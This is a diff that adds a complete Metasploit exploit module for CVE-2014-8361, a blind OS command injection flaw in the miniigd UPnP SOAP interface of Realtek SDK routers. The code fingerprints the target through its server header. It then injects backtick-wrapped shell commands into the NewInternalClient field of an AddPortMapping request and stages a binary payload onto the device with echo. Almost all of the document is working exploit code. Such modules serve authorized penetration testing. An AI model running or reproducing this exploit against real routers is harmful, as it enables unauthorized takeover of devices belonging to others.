|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command |
| 19 | + injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, |
| 20 | + there is no output for the executed command. |
| 21 | + This module has been tested in emulation on a Trendnet TEW-731BR router. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery |
| 26 | + 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['CVE', '2014-8361'], |
| 32 | + ['ZDI', '15-155'], |
| 33 | + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'], |
| 34 | + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055'] |
| 35 | + ], |
| 36 | + 'DisclosureDate' => 'Apr 24 2015', |
| 37 | + 'Privileged' => true, |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'DisableNops' => true |
| 41 | + }, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'MIPS Little Endian', |
| 45 | + { |
| 46 | + 'Platform' => 'linux', |
| 47 | + 'Arch' => ARCH_MIPSLE |
| 48 | + } |
| 49 | + ], |
| 50 | + [ 'MIPS Big Endian', |
| 51 | + { |
| 52 | + 'Platform' => 'linux', |
| 53 | + 'Arch' => ARCH_MIPSBE |
| 54 | + } |
| 55 | + ], |
| 56 | + ], |
| 57 | + 'DefaultTarget' => 0 |
| 58 | + )) |
| 59 | + |
| 60 | + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') |
| 61 | + |
| 62 | + register_options( |
| 63 | + [ |
| 64 | + Opt::RPORT(52869) # port of UPnP SOAP webinterface |
| 65 | + ], self.class) |
| 66 | + end |
| 67 | + |
| 68 | + def check |
| 69 | + begin |
| 70 | + res = send_request_cgi({ |
| 71 | + 'uri' => '/picsdesc.xml' |
| 72 | + }) |
| 73 | + if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/ |
| 74 | + return Exploit::CheckCode::Detected |
| 75 | + end |
| 76 | + rescue ::Rex::ConnectionError |
| 77 | + return Exploit::CheckCode::Unknown |
| 78 | + end |
| 79 | + |
| 80 | + Exploit::CheckCode::Unknown |
| 81 | + end |
| 82 | + |
| 83 | + def exploit |
| 84 | + print_status("#{peer} - Trying to access the device ...") |
| 85 | + |
| 86 | + unless check == Exploit::CheckCode::Detected |
| 87 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") |
| 88 | + end |
| 89 | + |
| 90 | + print_status("#{peer} - Exploiting...") |
| 91 | + |
| 92 | + execute_cmdstager( |
| 93 | + :flavor => :echo, |
| 94 | + :linemax => 50 |
| 95 | + ) |
| 96 | + end |
| 97 | + |
| 98 | + def execute_command(cmd, opts) |
| 99 | + uri = '/wanipcn.xml' |
| 100 | + |
| 101 | + new_portmapping_descr = rand_text_alpha(8) |
| 102 | + new_external_port = rand(32767) + 32768 |
| 103 | + new_internal_port = rand(32767) + 32768 |
| 104 | + |
| 105 | + # We need something like this: |
| 106 | + #cmd = "echo -en \\\x7f\\\x45\\\x4c\\\x46\\\x01 > /var/tmp/pwdn" |
| 107 | + cmd = cmd.gsub("\\\\", "\\\\\\\\\\") |
| 108 | + |
| 109 | + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" |
| 110 | + |
| 111 | + data_cmd = "<?xml version=\"1.0\"?>" |
| 112 | + data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" |
| 113 | + data_cmd << "<SOAP-ENV:Body>" |
| 114 | + data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" |
| 115 | + data_cmd << "<NewLeaseDuration></NewLeaseDuration>" |
| 116 | + data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>" |
| 117 | + data_cmd << "<NewEnabled>1</NewEnabled>" |
| 118 | + data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>" |
| 119 | + data_cmd << "<NewRemoteHost></NewRemoteHost>" |
| 120 | + data_cmd << "<NewProtocol>TCP</NewProtocol>" |
| 121 | + data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>" |
| 122 | + data_cmd << "</m:AddPortMapping>" |
| 123 | + data_cmd << "</SOAP-ENV:Body>" |
| 124 | + data_cmd << "</SOAP-ENV:Envelope>" |
| 125 | + |
| 126 | + begin |
| 127 | + res = send_request_cgi({ |
| 128 | + 'uri' => uri, |
| 129 | + 'vars_get' => { |
| 130 | + 'service' => 'WANIPConn1' |
| 131 | + }, |
| 132 | + 'ctype' => "text/xml", |
| 133 | + 'method' => 'POST', |
| 134 | + 'headers' => { |
| 135 | + 'SOAPAction' => soapaction, |
| 136 | + }, |
| 137 | + 'data' => data_cmd |
| 138 | + }) |
| 139 | + return res |
| 140 | + rescue ::Rex::ConnectionError |
| 141 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 142 | + end |
| 143 | + end |
| 144 | +end |
0 commit comments